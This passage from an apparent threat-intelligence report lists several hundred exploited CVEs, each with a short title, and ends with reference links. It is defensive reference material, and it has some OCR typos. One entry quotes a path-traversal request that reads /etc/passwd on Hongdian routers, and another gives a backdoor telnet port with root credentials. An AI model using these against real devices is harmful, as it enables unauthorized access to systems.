kernel-mode driver (e.g., cpuz141_x64.sys for version 1.41)

- CVE-2017-15718 Apache Hadoop YARN NodeManager vulnerability

- CVE-2017-16238 EXPLOITING VIR.IT EXPLORER ANTI-VIRUS ARBITRARY WRITE
VULNERABILITY

- CVE-2017-17105 Zivif Camera 2.3.4.2103 iptest.cgi Blind Remote Command

Execution
- CVE-2017-17106 Zivif Webcams Web Authentication Bypass
- CVE-2017-17215 Remote Code Execution Vulnerability in Huawei HG532 Product
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Cyber Threat Intelligence Report

- CVE-2017-18368 Zyxel P660HN-T1A Routers Command Injection Vulnerability
- CVE-2017-1000486 Primetek Primefaces Remote Code Execution Vulnerability

- CVE-2018-0147 Cisco Secure Access Control System Java Deserialization
Vulnerability
- CVE-2018-0171 Cisco I0S and IOS XE Software Smart Install Remote Code

Execution Vulnerability

- CVE-2018-0296 Cisco Adaptive Security Appliance Web Services Denial of Service

Vulnerability
- CVE-2018-0798 Microsoft Office Memory Corruption Vulnerability
- CVE-2018-0802 Microsoft Office Memory Corruption Vulnerability
- CVE-2018-0824 Microsoft COM for Windows Deserialization of Untrusted Data

Vulnerability
- CVE-2018-2628 Oracle WebLogic Server Unspecified Vulnerability

- CVE-2018-4122 A remote attacker could execute arbitrary commands or cause a

denial of service condition via a maliciously crafted web content

- CVE-2018-4344 OS X update for memory corruption

- CVE-2018-4438 Processing maliciously crafted web content may lead to arbitrary

code execution

- CVE-2018-4442 Processing maliciously crafted web content may lead to arbitrary

code execution
- CVE-2018-4878 Adobe Flash Player Use-After-Free Vulnerability
- CVE-2018-4990 Adobe Acrobat and Reader Double Free Vulnerability
- CVE-2018-5002 Adobe Flash Player Stack-based Buffer Overflow Vulnerability
- CVE-2018-5713 In Malwarefox Anti-Malware 2.72.169, the driver file (zam64.sys)

allows local users to cause a denial of service (BSOD) or possibly have unspecified

other impact because of not validating input values from IOCtl 0x80002010

- CVE-2018-6055 Insufficient policy enforcement in Catalog Service in Google

Chrome prior to 64.0.3282.119 allowed a remote attacker to potentially run

arbitrary code outside sandbox via a crafted HTML page

- CVE-2018-6065 Google Chromium V8 Integer Overflow Vulnerability

- CVE-2018-6882 Cross-site scripting (XSS) vulnerability in Zimbra Collaboration
Suite (ZCS)

- CVE-2018-7600 Drupal Core Remote Code Execution Vulnerability

- CVE-2018-8120 Win32k Elevation of Privilege Vulnerability
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Cyber Threat Intelligence Report

- CVE-2018-8174 Windows VBScript Engine Remote Code Execution Vulnerability

(Zero Day)
- CVE-2018-8242 Scripting Engine Memory Corruption Vulnerability (Zero Day)

- CVE-2018-8373 Scripting Engine Memory Corruption Vulnerability (Zero Day)

- CVE-2018-8440 Vulnerability exists when Windows improperly handles calls to

Advanced Local Procedure Call
- CVE-2018-8453 | Win32k Elevation of Privilege Vulnerability (Zero Day)
- CVE-2018-8639 Win32k Elevation of Privilege Vulnerability
- CVE-2018-10561 Dasan GPON home routers It is possible to bypass authentication

to any URL of the device that requires authentication

- CVE-2018-10088 Buffer overflow in XiongMai uc-httpd 1.0.0 has unspecified
impact and attack vectors, a different vulnerability than CVE-2017-16725

- CVE-2018-10562 Dasan GPON Routers Command Injection Vulnerability

- CVE-2018-10900 Network Manager VPNC - Privilege Escalation

- CVE-2018-13307 TOTOLINK A3002RU Command Injection via NTP Server IP
Address

- CVE-2018-13374 Fortinet FortiOS and FortiADC Improper Access Control

Vulnerability
- CVE-2018-13379 FortiOS system file leak through SSL VPN via specially crafted

HTTP resource requests

- CVE-2018-14558 Tenda AC7, AC9, and AC10 Routers Command Injection

Vulnerability
- CVE-2018-14745 Buffer overflow in prot_get_ring_space in the bcmdhd4358 Wi-Fi
driver on the Samsung Galaxy S6 SM-G920F G920FXXU5EQH?7 allows an attacker

(who has obtained code execution on the Wi-Fi chip) to overwrite kernel memory

due to improper validation of the ring buffer read pointer. The Samsung ID is SVE-
2018-12029
- CVE-2018-14847 Winbox for MikroTik RouterOS through 6.42 allows remote

attackers to bypass authentication and read arbitrary files by modifying a request

to change one byte related to a Session ID

- CVE-2018-15133 In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29,

remote code execution might occur as a result of an unserialize call on a potentially
untrusted X-XSRF-TOKEN value
- CVE-2018-15982 Security updates available for Flash Player | APSB18-42 (Zero

Day)
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- CVE-2018-16509 Ghostscript contains multiple -dSAFER sandbox bypass

vulnerabilities
- CVE-2018-16752 LW-N605R Remote Code Execution
- CVE-2018-17173 LG SuperSign EZ CMS 2.5 - Remote Code Execution
- CVE-2018-17463 Google Chromium V8 Remote Code Execution Vulnerability
- CVE-2018-17480 Google Chromium V8 Out-of-Bounds Write Vulnerability
- CVE-2018-17532 Teltonika RUT9XX Unauthenticated OS Command Injection
- CVE-2018-18852 Cerio DT-300N Command Execution Vulnerability

- CVE-2018-20057 D-Link devices allows remote authenticated users to execute

arbitrary OS commands via the sysCmd POST parameter
- CVE-2018-20250 WinRAR Multiple Security Vulnerabilities (Zero Day)
- CVE-2018-1000861 Jenkins Stapler Web Framework Deserialization of Untrusted

Data Vulnerability
- CVE-2019-0193 Apache Solr DatalmportHandler Code Injection Vulnerability
- CVE-2019-0199 The HTTP/2 implementation in Apache Tomcat 9.0.0.M1 to 9.0.14

and 8.5.0 to 8.5.37 accepted streams with excessive numbers of SETTINGS frames

and also permitted clients to keep streams open without reading/writing

request/response data. By keeping streams open for requests that utilised the

Servlet API's blocking I/0, clients were able to cause server-side threads to block

eventually leading to thread exhaustion and a DoS
- CVE-2019-0541 Microsoft MSHTML Remote Code Execution Vulnerability
- CVE-2019-0604 Microsoft SharePoint Remote Code Execution Vulnerability
- CVE-2019-0703 Windows SMB Information Disclosure Vulnerability
- CVE-2019-0708 Remote Desktop Services Remote Code Execution Vulnerability
- CVE-2019-0752 Microsoft Internet Explorer Type Confusion Vulnerability
- CVE-2019-0803 Win32k Elevation of Privilege Vulnerability
- CVE-2019-0808 Win32k Elevation of Privilege Vulnerability
- CVE-2019-0880 Microsoft Windows Privilege Escalation Vulnerability
- CVE-2019-1068 Microsoft SQL Server Remote Code Execution Vulnerability
- CVE-2019-1069 Task Scheduler Elevation of Privilege Vulnerability
- CVE-2019-1132 Win32k Elevation of Privilege Vulnerability (Zero Day)
- CVE-2019-1322 Microsoft Windows Elevation of Privilege Vulnerability

- CVE-2019-1405 privilege vulnerability exists when the Windows Universal Plug and
Play (UPnP)
- CVE-2019-1458 Win32k Elevation of Prilege Vulnerability
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Cyber Threat Intelligence Report

- CVE-2019-1579 Remote Code Execution in GlobalProtect Portal/Gateway Interface
- CVE-2019-1652 Cisco Small Business RV320 and RV325 Routers Command

Injection Vulnerability
- CVE-2019-1653 Cisco Small Business RV320 and RV325 Routers Information

Disclosure Vulnerability

- CVE-2019-1821 Cisco Prime Infrastructure and Evolved Programmable Network

Manager Remote Code Execution Vulnerabilities
- CVE-2019-2215 Android Kernel Use-After-Free Vulnerability

- CVE-2019-2725 Oracle Weblogic Server remote code execution vulnerability
- CVE-2019-3396 Atlassian Confluence Server and Data Center Server-Side

Template Injection Vulnerability
- CVE-2019-3568 A buffer overflow vulnerability in WhatsApp VOIP stack
- CVE-2019-5526 VMware Workstation update addresses a DLL-hijacking issue
- CVE-2019-5591 Default Configuration vulnerability

- CVE-2019-5782 Incorrect optimization assumptions in V8 in Google Chrome prior

to 72.0.3626.81 allowed a remote attacker to execute arbitrary code inside a

sandbox via a crafted HTML page
- CVE-2019-5825 Google Chromium V8 Out-of-Bounds Write Vulnerability

- CVE-2019-6217 Processing maliciously crafted web content may lead to arbitrary

code execution

- CVE-2019-6225 A malicious application may be able to elevate privileges

- CVE-2019-7256 Nice Linear eMerge E3-Series OS Command Injection Vulnerability
- CVE-2019-7286 Apple Multiple Products Memory Corruption Vulnerability

- CVE-2019-7287 Apple iOS Memory Corruption Vulnerability

- CVE-2019-7609 Kibana Arbitrary Code Execution Vulnerability

- CVE-2019-8506 Apple Multiple Products Type Confusion Vulnerability

- CVE-2019-8518 Processing maliciously crafted web content may lead to arbitrary

code execution

- CVE-2019-8526 Use-After-Free in Apple macOS Mojave 10.14.4

- CVE-2019-8605 watchOS 5.2.1 application may be able to execute arbitrary code

with system privileges
- CVE-2019-9082 ThinkPHP before 3.2.4, as used in Open Source BMS and other
products, allows Remote Command Execution

- CVE-2019-9489 Directory Traversal Vulnerability in Trend Micro Apex One,

OfficeScan and Worry-Free Business Security
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Cyber Threat Intelligence Report

- CVE-2019-9621 SSRF vulnerability — ProxyServlet

- CVE-2019-9670 Improper Restriction of XML External Entity Reference

- CVE-2019-9978 WordPress Social Warfare Plugin Cross-Site Scripting (XSS)
Vulnerability

- CVE-2018-9995 TBK DVR4104 and DVR4216 device Authentication Bypass

- CVE-2019-10149 A flaw was found in Exim versions 4.87 to 4.91 (inclusive)

- CVE-2019-10655 Grandstream GAC2500 devices allow unauthenticated remote

code execution

- CVE-2019-11043 PHP FastCGI Process Manager (FPM) Buffer Overflow

Vulnerability
- CVE-2019-11510 Pulse Secure VPN contains multiple vulnerabilities

- CVE-2019-11539 Ivanti Pulse Connect Secure and Policy Secure Command

Injection Vulnerability

- CVE-2019-11581 Atlassian Jira Server and Data Center Server-Side Template

Injection Vulnerability
- CVE-2019-11707 Mozilla Firefox and Thunderbird Type Confusion Vulnerability
- CVE-2019-11708 Mozilla Firefox and Thunderbird Sandbox Escape Vulnerability
- CVE-2019-11829 Synology Calendar Command Execution Vulnerability
- CVE-2019-12168 Four-Faith Wireless Mobile Router Remote Code Execution

Vulnerability
- CVE-2019-12725 ZeroShell Remote Code Execution Vulnerability

- CVE-2019-13272 Linux Kernel Improper Privilege Management Vulnerability
- CVE-2019-13720 Google Chrome WebAudio Use-After-Free Vulnerability

- CVE-2019-15107 Webmin 1.920 parameter old in password_change.cgi contains a

command injection vulnerability

- CVE-2019-15637 Tableau Products XXE Vulnerability

- CVE-2019-15846 Exim before 4.92.2 allows remote attackers to execute arbitrary

code as root via a trailing backslash

- CVE-2019-16098 The driver in Micro-Star MSI Afterburner allows any

authenticated user
- CVE-2019-16920 D-Link Multiple Routers Command Injection Vulnerability
- CVE-2019-16928 Exim Out-of-bounds Write Vulnerability
- CVE-2019-17026 Mozilla Firefox And Thunderbird Type Confusion Vulnerability
- CVE-2019-17270 Yachtcontrol 2019-10-06 Remote Code Execution Vulnerability
- CVE-2019-17564 Apache Dubbo deserialization vulnerability
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- CVE-2019-17558 Velocity custom template RCE vulnerability

- CVE-2019-17621 D-Link DIR-859 Router Command Execution Vulnerability

- CVE-2019-18187 Trend Micro OfficeScan Directory Traversal Vulnerability

- CVE-2019-18935 Allows JavaScriptSerializer Deserialization

- CVE-2019-19356 Netis WF2419 Devices Remote Code Execution Vulnerability
- CVE-2019-19609 Strapi Framework Vulnerable to Remote Code Execution

vulnerability

- CVE-2019-19781 Vulnerability in Citrix Application Delivery Controller, Citrix
Gateway, and Citrix SD-WAN WANOP appliance

- CVE-2019-19824 Multiple vulnerabilities in TOTOLINK and other Realtek SDK based

routers

- CVE-2019-13272 Linux Kernel Improper Privilege Management Vulnerability

- CVE-2019-1003000 Sandbox Bypass in Script Security and Pipeline Plugins

- CVE-2020-0601 Microsoft Windows CryptoAPI Spoofing Vulnerability

- CVE-2020-0618 Microsoft SQL Server Reporting Services Remote Code Execution

Vulnerability
- CVE-2020-0674 Scripting Engine Memory Corruption Vulnerability
- CVE-2020-0688 Microsoft Exchange Validation Key Remote Code Execution

Vulnerability
- CVE-2020-0796 A Remote Code Execution vulnerability exists in the way that the
Microsoft Server Message Block 3.1.1 (SMBv3)

- CVE-2020-0968 Scripting Engine Memory Corruption Vulnerability

- CVE-2020-0986 Microsoft Windows Kernel Privilege Escalation Vulnerability

- CVE-2020-1206 Windows SMBv3 Client/Server Information Disclosure Vulnerability
- CVE-2020-1300 Windows Remote Code Execution Vulnerability

- CVE-2020-1380 Microsoft Internet Explorer Scripting Engine Memory Corruption

Vulnerability
- CVE-2020-1472 Netlogon Elevation of Privilege Vulnerability
- CVE-2020-1599 Windows Spoofing Vulnerability

- CVE-2020-1938 Apache Tomcat Improper Privilege Management Vulnerability
- CVE-2020-2551 Weblogic Remote Code Execution Vulnerability
- CVE-2020-3125 CISCO Adaptive Security Appliance Kerberos Authentication

Bypass Vulnerability
- CVE-2020-3153 Cisco AnyConnect Secure Mobility Client for Windows Uncontrolled

Search Path Vulnerability
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- CVE-2020-3259 Cisco ASA and FTD Information Disclosure Vulnerability
- CVE-2020-3433 Cisco AnyConnect Secure Mobility Client for Windows DLL

Hijacking Vulnerability
- CVE-2020-3451 Cisco Small Business RV340 Series Routers Command Injection

and Remote Code Execution Vulnerabilitie
- CVE-2020-3452 Cisco ASA and FTD Read-Only Path Traversal Vulnerability
- CVE-2020-3837 i0S 13.3.1 and iPadOS 13.3.1 An application may be able to

execute arbitrary code with kernel privileges
- CVE-2020-5902 the Traffic Management User Interface (TMUI), also referred to as

the Configuration utility, has a Remote Code Execution (RCE) vulnerability in

undisclosed pages

- CVE-2020-6418 Google Chromium V8 Type Confusion Vulnerability

- CVE-2020-7209 HP LinuxKI suffers from a command injection vulnerability
- CVE-2020-7961 Liferay Portal Deserialization of Untrusted Data Vulnerability

- CVE-2020-8243 Ivanti Pulse Connect Secure Code Execution Vulnerability (Zero
Day)

- CVE-2020-8260 Ivanti Pulse Connect Secure Code Execution Vulnerability (Zero
Day)

- CVE-2020-8515 DrayTek Router Web Management Page Vulnerability allow remote

code execution

- CVE-2020-8949 Gocloud S2A_WL/S2A/S3A K2P MTK/S3A/ISP3000 4.2.7 Ping Shell
Metacharacter os command injection

- CVE-2020-8958 Guangzhou 1GE ONU V2801RW 1.9.1-181203 through 2.9.0-
181024 and V2804RGW 1.9.1-181203 through 2.9.0-181024 devices allow remote

attackers to execute arbitrary OS commands via shell metacharacters in the

boaform/admin/formPing Dest IP Address field
- CVE-2020-9054 Zyxel Multiple NAS Devices OS Command Injection Vulnerability
- CVE-2020-9377 D-Link DIR-610 Devices Remote Command Execution
- CVE-2020-9480 Apache Spar Remote Code Execution vulnerability in auth-enabled

standalone master

- CVE-2020-9715 Adobe Acrobat Reader DC use-after-free Vulnerability

- CVE-2020-9802 WebKit code execution in Apple iOS

- CVE-2020-9907 iOS 13.6 and iPadOS 13.6, tvOS 13.4.8. An application may be
able to execute arbitrary code with kernel privileges

- CVE-2020-9934 Apple i0S, iPadOS, and macOS Input Validation Vulnerability
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- CVE-2020-10148 SolarWinds Orion Authentication Bypass Vulnerability
- CVE-2020-10173 Comtrend VR-3033 DE11-416SSG-C01_R02.A2pvIi042j1.d26m

devices have Multiple Authenticated Command Injection vulnerabilities via the ping

and traceroute diagnostic pages, as demonstrated by shell metacharacters in the

pingIpAddress parameter to ping.cgi
- CVE-2020-10189 Zoho ManageEngine Desktop Central before 10.0.474 allows

remote code execution because of deserialization of untrusted data in

getChartImage in the FileStorage class

- CVE-2020-10684 Ansible: code injection when using ansible_facts as a subkey
- CVE-2020-10987 Tenda AC15 AC1900 version allows remote attackers to execute

arbitrary system commands via the deviceName POST parameter
- CVE-2020-11651 SaltStack Salt Authentication Bypass Vulnerability

- CVE-2020-11854 Operation Bridge Manager. arbitrary code execution

vulnerabilities

- CVE-2020-11899 The Treck TCP/IP stack before 6.0.1.66 has an IPv6 Out-of-

bounds Read.

- CVE-2020-11625 AvertX Camera Web UI Enumerate Usernames Vulnerability

- CVE-2020-12641 Remote code execution via crafted config options

- CVE-2020-12812 FortiOS SSL VPN 2FA bypass by changing username case

- CVE-2020-13965 Roundcube Webmail Cross-Site Scripting (XSS) Vulnerability

- CVE-2020-14002 PUuTTY 0.68 through 0.73 has an Observable Discrepancy leading

to an information leak in the algorithm negotiation

- CVE-2020-14750 remote code execution vulnerability in Oracle WeblLogic Server

- CVE-2020-14871 Oracle Critical Patch Update Advisory - October 2020

- CVE-2020-14882 Oracle WebLogic Server Authenticated Remote Code Execution

- CVE-2020-14883 Oracle WeblLogic Server Authenticated Remote Code Execution

- CVE-2020-15069 Buffer overflow vulnerability in the bookmark feature of Sophos
XG Firewall

- CVE-2020-15368 AsrDrv103.sys in the ASRock RGB Driver does not properly

restrict access from user space, as demonstrated by triggering a triple fault via a

request to zero CR3

- CVE-2020-15415 DrayTek Router allows remote command execution via shell

metacharacters

- CVE-2020-15505 Ivanti MobileIron Multiple Products Remote Code Execution

Vulnerability
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- CVE-2020-17057 Windows Win32k Elevation of Privilege Vulnerability

- CVE-2020-17144 Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2020-17519 Apache Flink Improper Access Control Vulnerability

- CVE-2020-23814 Multiple cross-site scripting (XSS) vulnerabilities in xxl-job v2.2.0
- CVE-2020-25499 TOTOLINK A3002RU-V2.0.0 B20190814.1034 Remote Code

Execution Vulnerability
- CVE-2020-25213 WordPress File Manager Plugin Remote Code Execution

Vulnerability

- CVE-2020-25223 A remote code execution vulnerability exists in the WebAdmin of
Sophos SG

- CVE-2020-25506 D-Link Revision Ax is affected by command injection component,

which can lead to remote arbitrary code execution
- CVE-2020-26878 Ruckus IoT Controller Remote Command Execution Vulnerability
- CVE-2020-26879 Ruckus IoT Controller Remote Command Execution Vulnerability
- CVE-2020-29574 Unauthenticated RCE in Cyberoam SSL VPN
- CVE-2020-35391 Tenda N300 F3 malformed HTTP request header processing

Vulnerability
- CVE-2020-35730 XSS vulnerability via malious HTML or plaintext messages
- CVE-2021-1048 Android Kernel Use-After-Free Vulnerability
- CVE-2021-1472 Cisco Small Business RV Series Routers Vulnerabilities
- CVE-2021-1473 Cisco Small Business RV Series Routers Vulnerabilities
- CVE-2021-1675 Windows Print Spooler Elevation of Privilege Vulnerability
- CVE-2021-1732 Escalate privileges to those of NT AUTHORITY¥SYSTEM (Zero Day)
- CVE-2021-1789 Apple Multiple Products Type Confusion Vulnerability

- CVE-2021-1844 Processing maliciously crafted web content may lead to arbitrary

code execution (Zero Day)

- CVE-2021-1879 Use-After-Free in Apple WebKit QuickTimePluginReplacement

(Zero Day)
- CVE-2021-2109 Oracle WebLogic Server Remote Code Execution Vulnerability
- CVE-2021-2135 Oracle WebLogic Server Remote Code Execution Vulnerability
- CVE-2021-3018 ipeak Infosystems ibexwebCMS SQL injection Vulnerability
- CVE-2021-3129 Remote code execution
- CVE-2021-3156 Sudo Heap-Based Buffer Overflow Vulnerability

- CVE-2021-4034 A local privilege escalation vulnerability was found on polkit's

pkexec utility (Zero Day)
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CVE-2021-4043 NULL Pointer Dereference in GitHub repository gpac/gpac

CVE-2021-4104 Remote code execution in Log4j 1.x when application is configured

to use JMSAppender
CVE-2021-20016 SonicWall SSLVPN SMA100 SQL Injection Vulnerability

CVE-2021-20021 SonicWall Email Security Improper Privilege Management
Vulnerability
CVE-2021-20022 SonicWall Email Security Unrestricted Upload of File Vulnerability

CVE-2021-20023 SonicWall Email Security Path Traversal Vulnerability
CVE-2021-20028 SonicWall Secure Remote Access (SRA) SQL Injection

Vulnerability

CVE-2021-20038 SonicWall SMA 100 Stack-based buffer overflow in Apache httpd
CVE-2021-20090 Arcadyan Buffalo Firmware Path Traversal Vulnerability
CVE-2021-21166 Google Chromium Race Condition Vulnerability

CVE-2021-21311 Server-side request forgery vulnerability

CVE-2021-21551 Dell dbutil_2_3.sys driver contains an insufficient access control

vulnerability
CVE-2021-21972 VMware vCenter Server Remote Code Execution Vulnerability
CVE-2021-21974 VMware ESXi OpenSLP heap-overflow vulnerability

CVE-2021-21975 VMware Server Side Request Forgery in vRealize Operations

Manager API
CVE-2021-21983 VMware vRealize Operations updates address Server Side

Request Forgery and Arbitrary File Write vulnerabilities
CVE-2021-22005 vCenter Server file upload vulnerability

CVE-2021-22205 GitLab was not properly validating image files that were passed

to a file parser which resulted in a remote command execution
CVE-2021-22208 Missing authorization in GitLab

CVE-2021-22555 Linux Kernel Vulnerability in NetApp Products
CVE-2021-22893 Ivanti Pulse Connect Secure Use-After-Free Vulnerability

CVE-2021-22941 Improper Access Control in Citrix ShareFile storage zones

controller before 5.11.20 may allow an unauthenticated attacker to remotely

compromise the storage zones controller

CVE-2021-22986 the iControl REST interface has an unauthenticated remote

command execution vulnerability

CVE-2021-24085 Microsoft Exchange Server Spoofing Vulnerability
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Cyber Threat Intelligence Report

- CVE-2021-25646 Authenticated users can override system configurations in their

requests which allows them to execute arbitrary code
- CVE-2021-26084 Confluence Server Webwork OGNL injection Vulnerability

- CVE-2021-26411 Internet Explorer Memory Corruption Vulnerability
- CVE-2021-26606 A vulnerability in PKI Security Solution of Dream Security could

allow arbitrary command execution

- CVE-2021-26855 Microsoft Exchange ProxyLogon Remote Code Execution (Zero
Day)

- CVE-2021-26857 Microsoft Exchange ProxyLogon Remote Code Execution (Zero
Day)

- CVE-2021-26858 Microsoft Exchange ProxyLogon Remote Code Execution (Zero
Day)

- CVE-2021-27065 Microsoft Exchange ProxyLogon Remote Code Execution (Zero
Day)

- CVE-2021-27561 Yealink Device Management Server-Side Request Forgery (SSRF)

Vulnerability
- CVE-2021-27562 Arm Trusted Firmware Out-of-Bounds Write Vulnerability
- CVE-2021-27860 Remote Privilege Escalation
- CVE-2021-27878 Veritas Backup Exec Agent Command Execution Vulnerability
- CVE-2021-28149 Hongdian H8922 3.0.5 devices allow Directory Traversal. The

/log_download.cgi log export handler does not validate user input and allows a

remote attacker with minimal privileges to download any file from the device by

substituting ../ (e.qg., ../../etc/passwd) This can be carried out with a web browser

by changing the file name accordingly. Upon visiting

log_download.cgi?type=../../etc/passwd and logging in, the web server will allow a

download of the contents of the /etc/passwd file
- CVE-2021-28151 Hongdian H8922 Multiple Vulnerabilities
- CVE-2021-28152 Hongdian H8922 3.0.5 devices have an undocumented feature

that allows access to a shell as a superuser. To connect, the telnet service is used

on port 5188 with the default credentials of root:superzxmn
- CVE-2021-28482 Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-28550 Adobe Acrobat and Reader Use-After-Free Vulnerability (Zero

Day)
- CVE-2021-28799 QNAP NAS Improper Authorization Vulnerability

NSHC©2025 All rights reserved.


https://lists.apache.org/thread/kphbp8bvoknp1nkr18c16klphq0lody8
https://lists.apache.org/thread/kphbp8bvoknp1nkr18c16klphq0lody8
https://jira.atlassian.com/browse/CONFSERVER-67940
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26411
https://boho.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36174
https://boho.or.kr/krcert/secNoticeView.do?bulletin_writing_sequence=36174
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26855
https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
https://ssd-disclosure.com/ssd-advisory-yealink-dm-pre-auth-root-level-rce/
https://git.trustedfirmware.org/TF-M/trusted-firmware-m.git/tree/docs/security/security_advisories/svc_caller_sp_fetching_vulnerability.rst
https://www.fatpipeinc.com/support/cve-list.php
https://www.veritas.com/content/support/en_US/security/VTS21-001#issue3
https://cve.circl.lu/cve/CVE-2021-28149
https://cve.circl.lu/cve/CVE-2021-28149
https://cve.circl.lu/cve/CVE-2021-28149
https://cve.circl.lu/cve/CVE-2021-28149
https://cve.circl.lu/cve/CVE-2021-28149
https://cve.circl.lu/cve/CVE-2021-28149
https://cve.circl.lu/cve/CVE-2021-28149
https://cvepremium.circl.lu/cve/CVE-2021-28151
https://cve.circl.lu/cve/CVE-2021-28152
https://cve.circl.lu/cve/CVE-2021-28152
https://cve.circl.lu/cve/CVE-2021-28152
https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2021-28482
https://helpx.adobe.com/security/products/acrobat/apsb21-29.html
https://cvepremium.circl.lu/cve/CVE-2021-28799

Cyber Threat Intelligence Report

- CVE-2021-30869 macOS Catalina of XNU Privilege Escalation Vulnerability (Zero
Day)

- CVE-2021-27876 Veritas Backup Exec Agent Arbitrary File Access

- CVE-2021-27877 Veritas Backup Exec Agent Unauthorized access with SHA

authentication
- CVE-2021-30116 Kaseya Virtual System/Server Administrator (VSA) Information

Disclosure Vulnerability (Zero Day)
- CVE-2021-30551 Google Chromium V8 Type Confusion Vulnerability
- CVE-2021-30883i0S 15.0.2 and iPadOS 15.0.2 application may be able to execute

arbitrary code with kernel privileges
- CVE-2021-30900 IOS and iPadOS 15.1 is A malicious application may be able to

execute arbitrary code with kernel privileges
- CVE-2021-30983i0S 15.0.2 and iPadOS 15.0.2 application may be able to execute

arbitrary code with kernel privileges

- CVE-2021-31195 Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-31196 Microsoft Exchange Server Remote Code Execution Vulnerability

- CVE-2021-31199 Microsoft Enhanced Cryptographic Provider Privilege Escalation

Vulnerability (Zero Day)

- CVE-2021-31201 Microsoft Enhanced Cryptographic Provider Privilege Escalation

Vulnerability (Zero Day)
- CVE-2021-31206 Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-31207 Microsoft Exchange Server Security Feature Bypass Vulnerability
- CVE-2021-31955 Microsoft Windows Kernel Information Disclosure Vulnerability

(Zero Day)
- CVE-2021-31956 Microsoft Windows NTFS Privilege Escalation Vulnerability
- CVE-2021-31969 Windows Cloud Files Mini Filter Driver Elevation of Privilege

Vulnerability
- CVE-2021-31979 Windows Kernel Elevation of Privilege Vulnerability (Zero Day)
- CVE-2021-33044 Dahua IP Camera Authentication Bypass Vulnerability
- CVE-2021-33045 Dahua IP Camera Authentication Bypass Vulnerability

- CVE-2021-33544 Improper Neutralization of Special Elements used in a Command

('Command Injection")

- CVE-2021-33548 Improper Neutralization of Special Elements used in a Command

('‘Command Injection')

- CVE-2021-33549 Geutebruck instantrec Remote Command Execution
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Cyber Threat Intelligence Report

- CVE-2021-33550 Improper Neutralization of Special Elements used in a Command

('Command Injection")

- CVE-2021-33551 Improper Neutralization of Special Elements used in a Command

('Command Injection")

- CVE-2021-33552 Improper Neutralization of Special Elements used in a Command

('Command Injection")

- CVE-2021-33553 Improper Neutralization of Special Elements used in a Command

('Command Injection")

- CVE-2021-33554 Improper Neutralization of Special Elements used in a Command

('Command Injection")

- CVE-2021-33558 Boa 0.94.13 allows remote attackers to obtain sensitive

information via involving
- CVE-2021-33771 Windows Kernel Elevation of Privilege Vulnerability (Zero Day)
- CVE-2021-33742 Microsoft Windows MSHTML Platform Remote Code Execution

Vulnerability
- CVE-2021-33766 Microsoft Exchange Server Information Disclosure
- CVE-2021-34473 Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-34481 Windows Print Spooler Elevation of Privilege Vulnerability
- CVE-2021-34523 Microsoft Exchange Server Elevation of Privilege Vulnerability
- CVE-2021-34527 Windows Print Spooler Remote Code Execution Vulnerability
- CVE-2021-35211 SolarWinds Serv-U Remote Code Execution Vulnerability
- CVE-2021-35394 Realtek AP Router SDK memory corruption Vulnerabilities

- CVE-2021-35395 Realtek Jungle SDK based routers, potential memory corruption

vulnerabilities

- CVE-2021-35464 ForgeRock AM server before 7.0 has a Java deserialization

vulnerability

- CVE-2021-36260 A command injection vulnerability in the web server of Hikvision

product
- CVE-2021-36380 Sunhillo SureLine Unauthenticated OS Command Injection
- CVE-2021-36934 Windows Elevation of Privilege Vulnerability
- CVE-2021-36942 Microsoft Windows Local Security Authority (LSA) Spoofing

Vulnerability
- CVE-2021-36948 Microsoft Windows Update Medic Service Privilege Escalation

Vulnerability (Zero Day)
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Cyber Threat Intelligence Report

- CVE-2021-36955 Microsoft Windows Common Log File System (CLFS) Driver

Privilege Escalation Vulnerability
- CVE-2021-36958 Windows Print Spooler Remote Code Execution Vulnerability
- CVE-2021-37973 Use after free in Portals
- CVE-2021-37976 Information leak in core
- CVE-2021-38000 Insufficient validation of untrusted input in Intents
- CVE-2021-38003 Inappropriate implementation in V8
- CVE-2021-38759 Raspberry Pi OS through 5.10 has the raspberry default

password for the pi account. If not changed, attackers can gain administrator

privileges.
- CVE-2021-40444 Microsoft MSHTML Remote Code Execution Vulnerability
- CVE-2021-40449 Win32k Elevation of Privilege Vulnerability (Zero Day)
- CVE-2021-40539 Zoho ManageEngine ADSelfService Plus authentication bypass

vulnerability
- CVE-2021-40684 Talend ESB Runtime Vulnerability
- CVE-2021-41379 Microsoft Windows Installer Privilege Escalation Vulnerability
- CVE-2021-41653 TP-Link TL-WR840N EU v5 Remote Code Execution
- CVE-2021-41773 Apache HTTP Server 2.4.49 Path Traversal / Remote Code

Execution

- CVE-2021-42013 Path Traversal and Remote Code Execution in Apache HTTP
Server 2.4.49 and 2.4.50

- CVE-2021-42237 Sitecore XP Remote Command Execution Vulnerability

- CVE-2021-42278 Active Directory Domain Services Elevation of Privilege

Vulnerability
- CVE-2021-42287 Active Directory Domain Services Elevation of Privilege

Vulnerability
- CVE-2021-42321 Microsoft Exchange Server Remote Code Execution Vulnerability
- CVE-2021-43226 Microsoft Windows Common Log File System Driver Elevation of

Privilege Vulnerability

- CVE-2021-44026 XSS vulnerability in handling attachment filename extension in

MIME type mismatch warnings

- CVE-2021-44077 Zoho ManageEngine ServiceDesk Plus Remote Code Execution

Vulnerability
- CVE-2021-44142 Samba Remote Procedure Call (RPC) Remote Code Execution

Vulnerability
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- CVE-2021-44207 Acclaim USAHERDS through 7.4.0.1 uses hard-coded credentials

(Zero Day)
- CVE-2021-44228 Oracle Apache Loag4j Remote Code Execution Vulnerability

(Zero Day)
- CVE-2021-44515 Zoho Desktop Central Authentication Bypass Vulnerability
- CVE-2021-44832 Apache Log4j2 vulnerable to RCE via JDBC Appender when

attacker controls configuration
- CVE-2021-45046 Critical Vulnerabilities in Apache Log4j Java Logging Library

